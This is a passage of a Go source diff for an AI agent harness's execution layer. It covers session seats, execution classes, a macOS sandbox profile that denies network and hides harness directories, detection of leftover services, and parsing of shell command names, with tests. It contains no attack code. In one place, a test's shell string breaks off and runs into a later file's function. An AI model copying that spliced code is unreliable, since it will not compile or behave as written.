t.Errorf("class %d setup %v: denies %v effect %s", c.class, c.setup, p.Denies(), Classify(p)) + } + } +} + +func TestExecMarksSideEffectFromClass(t *testing.T) { + cases := []struct { + class Class + setup bool + want SideEffect + }{ + {Sandboxed, false, EffectLocal}, + {Sandboxed, true, EffectExternal}, + {HostBound, false, EffectExternal}, + } + for _, c := range cases { + req := sh("true") + req.Setup = c.setup + res, err := Local{Root: t.TempDir(), Class: c.class}.Exec(context.Background(), req, nil) + if err != nil || res.SideEffect != c.want { + t.Errorf("class %d setup %v: %s, %v; want %s", c.class, c.setup, res.SideEffect, err, c.want) + } + } +} + +func TestParseClass(t *testing.T) { + if c, ok := ParseClass("files-only"); !ok || c != FilesOnly { + t.Fatalf("ParseClass = %d %v", c, ok) + } + if _, ok := ParseClass("nonsense"); ok { + t.Fatal("an unknown class name parsed") + } +} + +func TestRefusalIsReadable(t *testing.T) { + err := refuseWithout(ExecRequest{Net: NetPolicy{}}, "the fix") + if !errors.Is(err, ErrNoIsolation) || !strings.Contains(err.Error(), "the fix") { + t.Fatalf("refusal = %v", err) + } + if refuseWithout(ExecRequest{Net: openNet}, "the fix") != nil { + t.Fatal("an open call must run degraded, not be refused") + } +} + +// The host seat runs exactly as before the policy existed: +// unjailed, network open. +func TestHostSeatRunsAsBefore(t *testing.T) { + res, err := Host.In(t.TempDir()).Exec(context.Background(), sh("true"), nil) + if err != nil || res.SideEffect != EffectExternal || res.JailDegraded { + t.Fatalf("legacy call: %+v, %v", res, err) + } +} diff --git a/internal/executor/remote.go b/internal/executor/remote.go new file mode 100644 index 0000000000..d9c9a2e02b --- /dev/null +++ b/internal/executor/remote.go @@ -0,0 +1,16 @@ +package executor + +import ( + "context" + "errors" +) + +// ErrRemoteNotImplemented is what Remote answers until transport exists. +var ErrRemoteNotImplemented = errors.New("executor: remote execution is not implemented") + +// Remote will run a request on another device. +type Remote struct{} + +func (Remote) Exec(context.Context, ExecRequest, func(Chunk)) (ExecResult, error) { + return ExecResult{}, ErrRemoteNotImplemented +} diff --git a/internal/executor/seat.go b/internal/executor/seat.go new file mode 100644 index 0000000000..f754e50677 --- /dev/null +++ b/internal/executor/seat.go @@ -0,0 +1,277 @@ +package executor + +import ( + "context" + "errors" + "os/exec" + "sync" + "time" +) + +// Runner is what a tool site needs from its seat: buffered or streamed calls +// through Exec, and an unstarted command through Command for a process whose +// lifetime the site owns. +type Runner interface { + Executor + Command(ctx context.Context, req ExecRequest) (*exec.Cmd, error) +} + +var _ Runner = Local{} + +// Seat is the executor a session owns. Tools ask it for a Runner rooted at the +// directory they work in; the class, and whatever records the work, belong to +// the seat and never to the site. +type Seat interface { + In(dir string) Runner + // Around runs one tool call (docs/ARCHITECTURE.md 4.3: the boundary the + // tree is sealed at) and hands run's output and verdict to whatever keeps + // the record. The tool's own result is run's business; the error is only + // ever the seat's, and means the call was not run. + Around(ctx context.Context, call Call, run func() (output []byte, failed bool)) error +} + +// Call is one tool call as the seat is told of it. +type Call struct { + Tool string + Args []byte + // Changed is the workspace-relative paths the call is known to change; nil + // means unknown, and the whole tree is then looked at. + Changed []string + // Spawns, when set, is told of every process group the tool starts for the + // call, so a record of the call can name what to end if the harness dies + // while it runs. Nil is a call nobody follows. + Spawns *Spawns + // Deferred asks the seat to record the call and leave the seal to a later + // [Settler.Settle], because the caller still has to write the call's result + // into the transcript and a seal taken before that carries a call whose work + // is present and whose result is absent. A caller that sets it owes the Settle. + Deferred bool +} + +// Settler is a seat that can hold a call's seal back until its caller says the +// call's result is written down. +type Settler interface { + // Settle seals whatever calls were recorded as Deferred, and the transcript + // lines written since the last seal, when there are any. It never fails the + // caller: a seal that did not hold is reported to the seat's own watch and + // rides the next one. + Settle(ctx context.Context) +} + +// Settle is the seat's [Settler.Settle]. A seat that keeps no record has nothing +// to settle, the way ForSetup leaves a seat that cannot tell setup apart. +func Settle(ctx context.Context, s Seat) { + if settler, ok := s.(Settler); ok { + settler.Settle(ctx) + } +} + +// Drainer waits for any pipelined captures before the session gives up its files. +type Drainer interface{ Drain(context.Context) error } + +// DrainWithin is the shared bound for saving a chat and waiting for its save. +// The recorder and process exit must not disagree about how long is allowed. +const DrainWithin = 30 * time.Second + +// Drain settles the final transcript and waits for its capture, when present. +func Drain(ctx context.Context, s Seat) error { + if d, ok := s.(Drainer); ok { + return d.Drain(ctx) + } + Settle(ctx, s) + return nil +} + +type deferKey struct{} + +// Deferring returns a context whose tool calls ask their seat to defer the +// seal. The turn loop uses it for the batch whose results it writes itself. +func Deferring(ctx context.Context) context.Context { + return context.WithValue(ctx, deferKey{}, true) +} + +// Deferred reports whether ctx came from [Deferring]. +func Deferred(ctx context.Context) bool { + deferred, _ := ctx.Value(deferKey{}).(bool) + return deferred +} + +// Stance is a seat that runs every call under one declared class and records +// none of them. Setup makes every call one of a setup turn (network open, +// external); Observer, when set, sees each call that ran to a result. +type Stance struct { + Class Class + Setup bool + Observer Observer + Secrets SecretSource // added to every process's environment; nil adds none +} + +// In implements Seat. +func (s Stance) In(dir string) Runner { + return Local{Root: dir, Class: s.Class, Jail: DefaultJail(), Setup: s.Setup, Observer: s.Observer, Secrets: s.Secrets} +} + +// ForSetup is the same stance for a setup turn's calls. +func (s Stance) ForSetup() Seat { + s.Setup = true + return s +} + +// SetupSeat is a seat that can run a setup turn's calls. +type SetupSeat interface { + Seat + ForSetup() Seat +} + +// ForSetup is the seat a setup turn's calls run on. A seat that cannot tell a +// setup call apart is returned as it is. +func ForSetup(s Seat) Seat { + if setup, ok := s.(SetupSeat); ok { + return setup.ForSetup() + } + return s +} + +// Around implements Seat: a stance keeps no record, so the call just runs. +func (Stance) Around(_ context.Context, _ Call, run func() ([]byte, bool)) error { + run() + return nil +} + +// Host is the seat of work that belongs to no session (plumbing outside a chat, +// and every session while cells are off): unjailed, network open, unrecorded. +// A site that means this says so by name. +var Host Seat = Stance{Class: HostBound} + +type seatKey struct{} + +// With returns a context whose tool calls run on seat. +func With(ctx context.Context, seat Seat) context.Context { + if seat == nil { + return ctx + } + return context.WithValue(ctx, seatKey{}, seat) +} + +// ErrNoSeat is what a tool call answers when its context carries no session. +// Work that belongs to no session says so with [Host]; a tool call that lost +// its session is a bug, and running it unjailed on the host would hide it. +var ErrNoSeat = errors.New("executor: this call carries no session seat") + +// For is the seat of the session whose call ctx belongs to. A context that +// carries none gets a seat that refuses every call with [ErrNoSeat]. +func For(ctx context.Context) Seat { + if seat, ok := ctx.Value(seatKey{}).(Seat); ok { + return seat + } + if testSeat != nil { + return testSeat + } + return unseated{} +} + +// testSeat is what a test binary that runs tools without a session says its +// calls run on. It is set by internal/executor/executortest and nowhere else +// (law_test.go), so no production binary has it. +var testSeat Seat + +// UseInTests names the seat a test binary's seatless calls run on. Only +// executortest may call it. +func UseInTests(seat Seat) { testSeat = seat } + +type unseated struct{ Stance } + +// ForSetup implements SetupSeat: a session that was lost stays lost in a setup +// turn, so a promoted Stance form never lets its calls run. +func (u unseated) ForSetup() Seat { return u } + +// In implements Seat. +func (unseated) In(string) Runner { return refused{} } + +type refused struct{ Local } + +// Exec implements Executor. +func (refused) Exec(context.Context, ExecRequest, func(Chunk)) (ExecResult, error) { + return ExecResult{}, ErrNoSeat +} + +// Command implements Runner. +func (refused) Command(context.Context, ExecRequest) (*exec.Cmd, error) { return nil, ErrNoSeat } + +// Spawns is where one tool call reports the process groups it starts. The call +// owns the process (a shell tool starts it through Command), so only the tool +// knows the moment it exists; the record around the call listens here. +type Spawns struct { + mu sync.Mutex + on func(pgid int) + groups []int +} + +type spawnsKey struct{} + +// WithSpawns returns a context whose tool calls report into the Spawns handed +// back, which the caller puts on the [Call] it gives the seat. +func WithSpawns(ctx context.Context) (context.Context, *Spawns) { + s := &Spawns{} + return context.WithValue(ctx, spawnsKey{}, s), s +} + +// Groups is every process group the call has started so far, in order. It is +// what lets the record around a finished call ask which of them outlived it. +func (s *Spawns) Groups() []int { + if s == nil { + return nil + } + s.mu.Lock() + defer s.mu.Unlock() + return append([]int(nil), s.groups...) +} + +// Watch sets who is told of each group. A nil Spawns hears nobody. +func (s *Spawns) Watch(on func(pgid int)) { + if s == nil { + return + } + s.mu.Lock() + defer s.mu.Unlock() + s.on = on +} + +// Spawned is a tool's word that it started the process group pgid for the call +// ctx belongs to. A context with no call to tell makes it a no-op. +func Spawned(ctx context.Context, pgid int) { + s, _ := ctx.Value(spawnsKey{}).(*Spawns) + if s == nil { + return + } + s.mu.Lock() + on := s.on + s.groups = append(s.groups, pgid) + s.mu.Unlock() + if on != nil { + on(pgid) + } +} + +// Interrupted is what a crash left unfinished on a seat: calls that began and +// never ended. Lines are for the person, Note is for the model's next turn, and +// Close is said once both were told, so the calls stop counting as open. +type Interrupted interface { + Lines() []string + Note() string + Close() error +} + +// Interruptible is a seat that can name what a crash left behind. +type Interruptible interface { + Interrupted() Interrupted +} + +// InterruptedOn is what the seat's last run left unfinished, and nil for a seat +// that keeps no record. +func InterruptedOn(s Seat) Interrupted { + if i, ok := s.(Interruptible); ok { + return i.Interrupted() + } + return nil +} diff --git a/internal/executor/seat_test.go b/internal/executor/seat_test.go new file mode 100644 index 0000000000..f3ca7e8cda --- /dev/null +++ b/internal/executor/seat_test.go @@ -0,0 +1,99 @@ +//go:build !windows + +// K6: these tests exercise Unix signals or the Unix-only senior-dev helper. +package executor_test + +import ( + "context" + "encoding/json" + "errors" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/exec/bare" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/seniordev/util" + "github.com/Agent-Field/codeaf/internal/verify" +) + +// probeSeat hands out unjailed runners of one class and remembers each ask. +type probeSeat struct { + executor.Stance + mu sync.Mutex + dirs []string +} + +func (p *probeSeat) In(dir string) executor.Runner { + p.mu.Lock() + p.dirs = append(p.dirs, dir) + p.mu.Unlock() + return executor.Local{Root: dir, Class: p.Class} +} + +func (p *probeSeat) asked() int { + p.mu.Lock() + defer p.mu.Unlock() + return len(p.dirs) +} + +// Every tool site takes its executor from the seat its context carries, so the +// class a session declared is the class the site runs under. +func TestEverySiteRunsOnTheContextSeat(t *testing.T) { + sites := map[string]func(context.Context, string){ + "bash": func(ctx context.Context, dir string) { + _, _, _ = bare.RunBash(ctx, dir, json.RawMessage(`{"command":"true"}`), bare.DefaultCaps(), nil) + }, + "reading": func(ctx context.Context, dir string) { + _, _ = verify.RunReading(ctx, dir, verify.Strategy{Command: "true"}, time.Minute) + }, + "process": func(ctx context.Context, dir string) { + if child, err := util.SpawnProcess(ctx, []string{"true"}, util.ProcessOptions{Cwd: dir}); err == nil { + <-child.Exited + } + }, + } + classes := map[string]executor.Class{ + "files-only": executor.FilesOnly, "sandboxed": executor.Sandboxed, "host-bound": executor.HostBound, + } + for class, c := range classes { + for name, site := range sites { + t.Run(class+"/"+name, func(t *testing.T) { + seat := &probeSeat{Stance: executor.Stance{Class: c}} + site(executor.With(context.Background(), seat), t.TempDir()) + if seat.asked() == 0 { + t.Fatalf("the %s site never asked the session's seat", name) + } + }) + } + } +} + +func TestForRefusesAContextThatCarriesNoSession(t *testing.T) { + runner := executor.For(context.Background()).In(t.TempDir()) + if _, err := runner.Exec(context.Background(), executor.ExecRequest{Argv: []string{"true"}}, nil); !errors.Is(err, executor.ErrNoSeat) { + t.Fatalf("Exec err = %v, want ErrNoSeat", err) + } + if _, err := runner.Command(context.Background(), executor.ExecRequest{Argv: []string{"true"}}); !errors.Is(err, executor.ErrNoSeat) { + t.Fatalf("Command err = %v, want ErrNoSeat", err) + } + seat := &probeSeat{} + if executor.For(executor.With(context.Background(), seat)) != executor.Seat(seat) { + t.Fatal("the carried seat was not returned") + } +} + +func TestTwoSeatsOnOnePathKeepTheirOwnClass(t *testing.T) { + dir := t.TempDir() + files := executor.Stance{Class: executor.FilesOnly}.In(dir).(executor.Local) + host := executor.Stance{Class: executor.HostBound}.In(dir).(executor.Local) + if files.Class != executor.FilesOnly || host.Class != executor.HostBound { + t.Fatalf("classes crossed: %d and %d", files.Class, host.Class) + } + if _, err := files.Exec(context.Background(), executor.ExecRequest{Argv: []string{"true"}}, nil); err == nil { + t.Fatal("a files-only seat ran a process") + } + if _, err := host.Exec(context.Background(), executor.ExecRequest{Argv: []string{"true"}}, nil); err != nil { + t.Fatalf("the host-bound seat on the same path was refused: %v", err) + } +} diff --git a/internal/executor/seatbelt.go b/internal/executor/seatbelt.go new file mode 100644 index 0000000000..cd38f21874 --- /dev/null +++ b/internal/executor/seatbelt.go @@ -0,0 +1,81 @@ +package executor + +import ( + "fmt" + "strings" +) + +// seatbelt.go renders the macOS sandbox profile from the same policy the +// Linux jail applies: reads anywhere, writes only in the workspace and a +// private temporary directory, no network unless the policy opens it, and the +// hidden directories (the harness-owned .cell/ and the engine store) neither +// read nor written. The profile is plain text, so it is built and tested on +// every system; only running it needs macOS (jail_darwin.go). + +// scope is what one call's profile is built from. +type scope struct { + root string // canonical workspace root + tmp string // canonical private temporary directory + hidden []string // canonical paths no call may touch + net NetPolicy // the call's network policy +} + +// devSinks are the device nodes any tool needs to write. +var devSinks = []string{"/dev/null", "/dev/zero", "/dev/random", "/dev/urandom", + "/dev/tty", "/dev/dtracehelper", "/dev/stdout", "/dev/stderr", "/dev/fd"} + +// profile renders the whole profile. Later rules win, so the hidden paths +// come last. +func (s scope) profile() string { + return strings.Join([]string{ + "(version 1)", + "(deny default)", + runtimePlumbing, + "(allow file-read*)", + clause("allow file-write*", subpaths(s.root, s.tmp)+literals(devSinks...)), + s.network(), + s.hide(), + }, "\n") + "\n" +} + +// runtimePlumbing is what a process needs to start and run at all. +const runtimePlumbing = `(allow process-exec*) +(allow process-fork) +(allow signal (target self)) +(allow sysctl-read) +(allow mach-lookup) +(allow ipc-posix-shm*)` + +func (s scope) network() string { + if s.net.Denies() { + return "(deny network*)" + } + return "(allow network*)" +} + +// hide refuses every access beneath the hidden paths; with none it is empty. +func (s scope) hide() string { + if len(s.hidden) == 0 { + return "" + } + return clause("deny file-read* file-write*", subpaths(s.hidden...)) +} + +func clause(head, filters string) string { return "(" + head + "\n" + filters + ")" } + +// subpaths filters a directory tree; literals filters exact paths. +func subpaths(paths ...string) string { return filter("subpath", paths) } +func literals(paths ...string) string { return filter("literal", paths) } + +func filter(kind string, paths []string) string { + var b strings.Builder + for _, p := range paths { + fmt.Fprintf(&b, " (%s %s)\n", kind, quote(p)) + } + return b.String() +} + +var quoter = strings.NewReplacer(`\`, `\\`, `"`, `\"`) + +// quote is a profile string literal. +func quote(p string) string { return `"` + quoter.Replace(p) + `"` } diff --git a/internal/executor/seatbelt_test.go b/internal/executor/seatbelt_test.go new file mode 100644 index 0000000000..f9fbaa89a1 --- /dev/null +++ b/internal/executor/seatbelt_test.go @@ -0,0 +1,40 @@ +package executor + +import ( + "strings" + "testing" +) + +func TestProfileGrantsOnlyWorkspaceAndTmp(t *testing.T) { + p := scope{root: "/w/root", tmp: "/t/private", net: NetPolicy{}}.profile() + for _, want := range []string{"(deny default)", `(subpath "/w/root")`, `(subpath "/t/private")`, "(deny network*)"} { + if !strings.Contains(p, want) { + t.Errorf("profile lacks %s:\n%s", want, p) + } + } + if strings.Contains(p, "(allow network*)") || strings.Contains(p, "deny file-read* file-write*") { + t.Errorf("profile grants or hides too much:\n%s", p) + } +} + +func TestProfileOpensNetworkOnPolicy(t *testing.T) { + p := scope{root: "/w", tmp: "/t", net: openNet}.profile() + if !strings.Contains(p, "(allow network*)") || strings.Contains(p, "(deny network*)") { + t.Fatalf("open policy did not open the network:\n%s", p) + } +} + +func TestProfileHidesLast(t *testing.T) { + p := scope{root: "/w", tmp: "/t", hidden: []string{"/w/.cell", "/store"}}.profile() + hide := strings.Index(p, "(deny file-read* file-write*") + if hide < strings.LastIndex(p, "(allow ") || !strings.Contains(p, `(subpath "/store")`) { + t.Fatalf("hidden paths must be the last rules:\n%s", p) + } +} + +func TestProfileQuotesPaths(t *testing.T) { + p := scope{root: `/w/a"b\c`, tmp: "/t"}.profile() + if !strings.Contains(p, `(subpath "/w/a\"b\\c")`) { + t.Fatalf("path not escaped:\n%s", p) + } +} diff --git a/internal/executor/service.go b/internal/executor/service.go new file mode 100644 index 0000000000..42ac58bf38 --- /dev/null +++ b/internal/executor/service.go @@ -0,0 +1,117 @@ +package executor + +import ( + "context" + "os/exec" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// services reports the process group when something in it outlived the leader. +// A call that was killed leaves none. +func services(ctx context.Context, cmd *exec.Cmd, req ExecRequest, root string) []Service { + pgid := cmd.Process.Pid + if ctx.Err() != nil || !processgroup.Alive(pgid) { + return nil + } + return []Service{describe(req, root, pgid, processgroup.Members(pgid))} +} + +// Left is the services a finished tool call left running: each process group it +// started that still has a member. A shell tool starts its process through +// Command, so no [ExecResult] carries these; the call's own account of the +// groups it started is the only place they are known. +func Left(call Call) []Service { + var out []Service + for _, pgid := range call.Spawns.Groups() { + if members := processgroup.Members(pgid); len(members) > 0 { + out = append(out, describe(ExecRequest{Argv: []string{shellTool}}, "", pgid, members)) + } + } + return out +} + +// describe fills a service record from its surviving members. The member that +// listens names it, because it is the server; with none listening the first +// member does. The ports of all members are its ports. +func describe(req ExecRequest, root string, pgid int, members []int) Service { + argv := req.Argv + if name := namingMember(members); name > 0 { + if a := cmdline(name); len(a) > 0 { + argv = a + } + } + name := filepath.Base(argv[0]) + return Service{ + Name: name, Argv: argv, PGID: pgid, + Ports: listenPorts(members), + DataDir: dataDir(name, argv, root, req.Dir), + } +} + +// dataDirFlags is the table of data-directory flags by executable name. +var dataDirFlags = map[string][]string{ + "postgres": {"-D", "--pgdata"}, + "pg_ctl": {"-D", "--pgdata"}, + "redis-server": {"--dir"}, + "mysqld": {"--datadir"}, + "mariadbd": {"--datadir"}, + "mongod": {"--dbpath"}, + "etcd": {"--data-dir"}, + "clickhouse": {"--path"}, +} + +// dataDir finds the value of the tool's data-directory flag and returns it +// relative to the workspace root; a directory outside the root is dropped. +func dataDir(name string, argv []string, root, dir string) string { + for _, flag := range dataDirFlags[name] { + if v, ok := flagValue(argv, flag); ok { + return inside(root, dir, v) + } + } + return "" +} + +// flagValue reads "flag value" and "flag=value" forms. +func flagValue(argv []string, flag string) (string, bool) { + for i, a := range argv { + if a == flag && i+1 < len(argv) { + return argv[i+1], true + } + if v, ok := strings.CutPrefix(a, flag+"="); ok && strings.HasPrefix(flag, "--") { + return v, true + } + } + return "", false +} + +// inside makes path root-relative: a relative path is taken from the call's +// directory, an absolute one from the root. Empty when it leaves the root. +func inside(root, dir, path string) string { + abs := path + if !filepath.IsAbs(path) { + abs = filepath.Join(root, dir, path) + } + rel, err := filepath.Rel(root, abs) + if err != nil || rel == ".." || strings.HasPrefix(rel, "../") { + return "" + } + return filepath.ToSlash(rel) +} + +// namingMember is the member that names a service: the first that listens on a +// port, else the first member, else 0. A shell that started a server lingers +// beside it, and the shell's command line says nothing of what is being served. +func namingMember(members []int) int { + for _, m := range members { + if len(listenPorts([]int{m})) > 0 { + return m + } + } + if len(members) > 0 { + return members[0] + } + return 0 +} diff --git a/internal/executor/service_linux.go b/internal/executor/service_linux.go new file mode 100644 index 0000000000..559a307076 --- /dev/null +++ b/internal/executor/service_linux.go @@ -0,0 +1,109 @@ +//go:build linux + +package executor + +import ( + "bytes" + "os" + "path/filepath" + "sort" + "strconv" + "strings" +) + +// cmdline is a process's argv, or nil when it cannot be read. +func cmdline(pid int) []string { + raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/cmdline") + if err != nil || len(raw) == 0 { + return nil + } + return strings.Split(string(bytes.TrimRight(raw, "\x00")), "\x00") +} + +// listenPorts maps each member's sockets to LISTEN ports. The table is read +// through the member itself, so a jailed process's own network namespace is +// the one asked. +func listenPorts(pids []int) []int { + seen := map[int]bool{} + for _, pid := range pids { + listening := listeningInodes(pid) + for inode := range socketInodes(pid) { + if port, ok := listening[inode]; ok { + seen[port] = true + } + } + } + ports := make([]int, 0, len(seen)) + for p := range seen { + ports = append(ports, p) + } + sort.Ints(ports) + return ports +} + +func listeningInodes(pid int) map[uint64]int { + out := map[uint64]int{} + for _, table := range []string{"tcp", "tcp6"} { + raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/net/" + table) + if err == nil { + for inode, port := range parseListening(string(raw)) { + out[inode] = port + } + } + } + return out +} + +func socketInodes(pid int) map[uint64]bool { + dir := "/proc/" + strconv.Itoa(pid) + "/fd" + entries, _ := os.ReadDir(dir) + out := map[uint64]bool{} + for _, e := range entries { + if link, err := os.Readlink(filepath.Join(dir, e.Name())); err == nil { + if inode, ok := parseSocketLink(link); ok { + out[inode] = true + } + } + } + return out +} + +// parseSocketLink reads "socket:[123]". +func parseSocketLink(link string) (uint64, bool) { + s, ok := strings.CutPrefix(link, "socket:[") + if !ok { + return 0, false + } + inode, err := strconv.ParseUint(strings.TrimSuffix(s, "]"), 10, 64) + return inode, err == nil +} + +// tcpListen is the LISTEN state code in /proc/net/tcp. +const tcpListen = "0A" + +// parseListening reads /proc/net/tcp{,6} text into inode -> local port for +// sockets in LISTEN state. Columns: sl local rem st ... inode (index 9). +func parseListening(text string) map[uint64]int { + out := map[uint64]int{} + for _, line := range strings.Split(text, "\n") { + f := strings.Fields(line) + if len(f) < 10 || f[3] != tcpListen { + continue + } + _, hexPort, ok := cutLast(f[1], ":") + port, perr := strconv.ParseUint(hexPort, 16, 32) + inode, ierr := strconv.ParseUint(f[9], 10, 64) + if ok && perr == nil && ierr == nil { + out[inode] = int(port) + } + } + return out +} + +func cutLast(s, sep string) (string, string, bool) { + i := strings.LastIndex(s, sep) + if i < 0 { + return s, "", false + } + return s[:i], s[i+len(sep):], true +} diff --git a/internal/executor/service_linux_test.go b/internal/executor/service_linux_test.go new file mode 100644 index 0000000000..0eaf13ae71 --- /dev/null +++ b/internal/executor/service_linux_test.go @@ -0,0 +1,34 @@ +//go:build linux + +package executor + +import ( + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +func membersOf(pgid int) []int { return processgroup.Members(pgid) } + +const tcpFixture = ` sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode + 0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 12345 1 0000 100 0 0 10 0 + 1: 0100007F:0050 0100007F:9C40 01 00000000:00000000 00:00000000 00000000 1000 0 22222 1 0000 100 0 0 10 0 + 2: 00000000000000000000000001000000:1538 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 33333 1 0000 100 0 0 10 0 +` + +func TestParseListeningKeepsOnlyListenSockets(t *testing.T) { + want := map[uint64]int{12345: 8080, 33333: 5432} + if got := parseListening(tcpFixture); !reflect.DeepEqual(got, want) { + t.Fatalf("got %v want %v", got, want) + } +} + +func TestParseSocketLink(t *testing.T) { + if n, ok := parseSocketLink("socket:[987]"); !ok || n != 987 { + t.Fatal("socket link") + } + if _, ok := parseSocketLink("/dev/null"); ok { + t.Fatal("not a socket") + } +} diff --git a/internal/executor/service_other.go b/internal/executor/service_other.go new file mode 100644 index 0000000000..0a4ffe3f19 --- /dev/null +++ b/internal/executor/service_other.go @@ -0,0 +1,8 @@ +//go:build !linux + +package executor + +// Off Linux the record keeps the request's argv and no ports. +func cmdline(int) []string { return nil } + +func listenPorts([]int) []int { return nil } diff --git a/internal/executor/service_other_test.go b/internal/executor/service_other_test.go new file mode 100644 index 0000000000..328bd36598 --- /dev/null +++ b/internal/executor/service_other_test.go @@ -0,0 +1,5 @@ +//go:build !linux + +package executor + +func membersOf(int) []int { return nil } diff --git a/internal/executor/service_test.go b/internal/executor/service_test.go new file mode 100644 index 0000000000..475ed8e0c0 --- /dev/null +++ b/internal/executor/service_test.go @@ -0,0 +1,35 @@ +package executor + +import ( + "testing" +) + +func TestDataDirFlagTable(t *testing.T) { + cases := []struct { + name, root, dir string + argv []string + want string + }{ + {"postgres", "/w", "", []string{"postgres", "-D", "pgdata"}, "pgdata"}, + {"postgres", "/w", "db", []string{"postgres", "-D", "data"}, "db/data"}, + {"postgres", "/w", "", []string{"postgres", "-D", "/w/x/pg"}, "x/pg"}, + {"postgres", "/w", "", []string{"postgres", "-D", "/var/lib/pg"}, ""}, + {"postgres", "/w", "", []string{"postgres", "-D", "../pg"}, ""}, + {"redis-server", "/w", "", []string{"redis-server", "--dir", "r"}, "r"}, + {"mysqld", "/w", "", []string{"mysqld", "--datadir=my"}, "my"}, + {"mongod", "/w", "", []string{"mongod", "--dbpath", "m"}, "m"}, + {"postgres", "/w", "", []string{"postgres", "-p", "5432"}, ""}, + {"python3", "/w", "", []string{"python3", "-D", "x"}, ""}, + } + for _, c := range cases { + if got := dataDir(c.name, c.argv, c.root, c.dir); got != c.want { + t.Errorf("%v in %q: got %q want %q", c.argv, c.dir, got, c.want) + } + } +} + +func TestSnapshotExactIffNoServices(t *testing.T) { + if !SnapshotExact(ExecResult{}) || SnapshotExact(ExecResult{Services: []Service{{PGID: 1}}}) { + t.Fatal("exact must mean no services") + } +} diff --git a/internal/executor/service_unix_test.go b/internal/executor/service_unix_test.go new file mode 100644 index 0000000000..80e1a8d473 --- /dev/null +++ b/internal/executor/service_unix_test.go @@ -0,0 +1,34 @@ +//go:build !windows + +// K6 keeps Unix process-group service inspection on Unix. +package executor + +import ( + "context" + "syscall" + "testing" + "time" +) + +func TestLocalRecordsAListeningServiceFully(t *testing.T) { + script := "exec python3 -c 'import socket,time;s=socket.socket();s.bind((\"127.0.0.1\",0));s.listen();print(s.getsockname()[1],flush=True);time.sleep(60)' >port.txt 2>&1 0 { + out = append(out, strings.Join(words, " ")) + } + } + return out +} + +// commandNames is the first word of every simple command in a shell line, after +// any leading VAR=value words. It reads the line's shape and not its meaning: +// a name that is not an executable is dropped by whoever resolves it. +func commandNames(line string) []string { + var names []string + for _, words := range commandWords(line) { + names = append(names, words[0]) + } + return names +} + +// commandWords is the words of each simple command in a shell line, from its +// command name on: the leading VAR=value words are not part of the command. +func commandWords(line string) [][]string { + var commands [][]string + for _, segment := range splitCommands(line) { + if words := commandOf(strings.Fields(segment)); len(words) > 0 { + commands = append(commands, words) + } + } + return commands +} + +// commandOf drops the assignments a command starts with and the quotes around +// the command's name, which is the word an observer resolves on PATH. +func commandOf(words []string) []string { + for i, word := range words { + if !isAssignment(word) { + out := append([]string(nil), words[i:]...) + out[0] = strings.Trim(out[0], `'"`) + return out + } + } + return nil +} + +// splitCommands cuts a line at ; & | ( ) and newlines that are not quoted or +// escaped. +func splitCommands(line string) []string { + var segments []string + var current strings.Builder + var quote rune + escaped := false + for _, r := range line { + switch { + case escaped: + escaped = false + case r == '\\' && quote != '\'': + escaped = true + case quote != 0: + if r == quote { + quote = 0 + } + case r == '\'' || r == '"': + quote = r + case strings.ContainsRune(";&|()\n", r): + segments = append(segments, current.String()) + current.Reset() + continue + } + current.WriteRune(r) + } + return append(segments, current.String()) +} + +func isAssignment(word string) bool { + name, _, found := strings.Cut(word, "=") + return found && name != "" && !strings.ContainsAny(name, `/'"$`) +} + +// Settle implements Settler: the seat beneath keeps the record. +func (w watched) Settle(ctx context.Context) { Settle(ctx, w.Seat) } + +// Drain forwards the pending capture boundary to the seat beneath. +func (w watched) Drain(ctx context.Context) error { return Drain(ctx, w.Seat) } diff --git a/internal/executor/watched_test.go b/internal/executor/watched_test.go new file mode 100644 index 0000000000..a492b16a3a --- /dev/null +++ b/internal/executor/watched_test.go @@ -0,0 +1,113 @@ +package executor + +import ( + "context" + "encoding/json" + "errors" + "reflect" + "testing" +) + +func TestCommandNamesAreTheFirstWordOfEachSimpleCommand(t *testing.T) { + cases := map[string][]string{ + "jq . a.json": {"jq"}, + "cd sub && make -j4 | tee out; ls": {"cd", "make", "tee", "ls"}, + "FOO=1 BAR=x node build.js": {"node"}, + `echo "a && b" ; 'python3' -c 'x;y'`: {"echo", "python3"}, + "(cd x; go test ./...)\nrg foo": {"cd", "go", "rg"}, + "": nil, + } + for line, want := range cases { + if got := commandNames(line); !reflect.DeepEqual(got, want) { + t.Errorf("%q: got %v, want %v", line, got, want) + } + } +} + +type sightings struct{ names []string } + +func (s *sightings) Observe(req ExecRequest, _ ExecResult) { s.names = append(s.names, req.Argv[0]) } + +type plainSeat struct{ Stance } + +func shellCall(command string) Call { + args, _ := json.Marshal(map[string]string{"command": command}) + return Call{Tool: "bash", Args: args} +} + +func TestAShellCallTellsTheObserverTheToolsItRan(t *testing.T) { + seen := &sightings{} + seat := Watching(plainSeat{}, seen) + if err := seat.Around(context.Background(), shellCall("jq . x | sort"), func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + if want := []string{"jq", "sort"}; !reflect.DeepEqual(seen.names, want) { + t.Fatalf("observed %v, want %v", seen.names, want) + } + if err := ForSetup(seat).Around(context.Background(), shellCall("apt-get x"), func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + if got := seen.names[len(seen.names)-1]; got != "apt-get" { + t.Fatalf("the setup form of the seat is not watched: %v", seen.names) + } +} + +func TestOnlyShellCallsAreReadForTools(t *testing.T) { + seen := &sightings{} + seat := Watching(plainSeat{}, seen) + call := shellCall("jq .") + call.Tool = "read" + _ = seat.Around(context.Background(), call, func() ([]byte, bool) { return nil, false }) + if len(seen.names) != 0 { + t.Fatalf("a %s call was read for tools: %v", call.Tool, seen.names) + } +} + +type refusingSeat struct{ Stance } + +func (refusingSeat) Around(context.Context, Call, func() ([]byte, bool)) error { + return errors.New("not run") +} + +func TestARefusedCallObservesNothing(t *testing.T) { + seen := &sightings{} + if err := Watching(refusingSeat{}, seen).Around(context.Background(), shellCall("jq ."), nil); err == nil { + t.Fatal("the 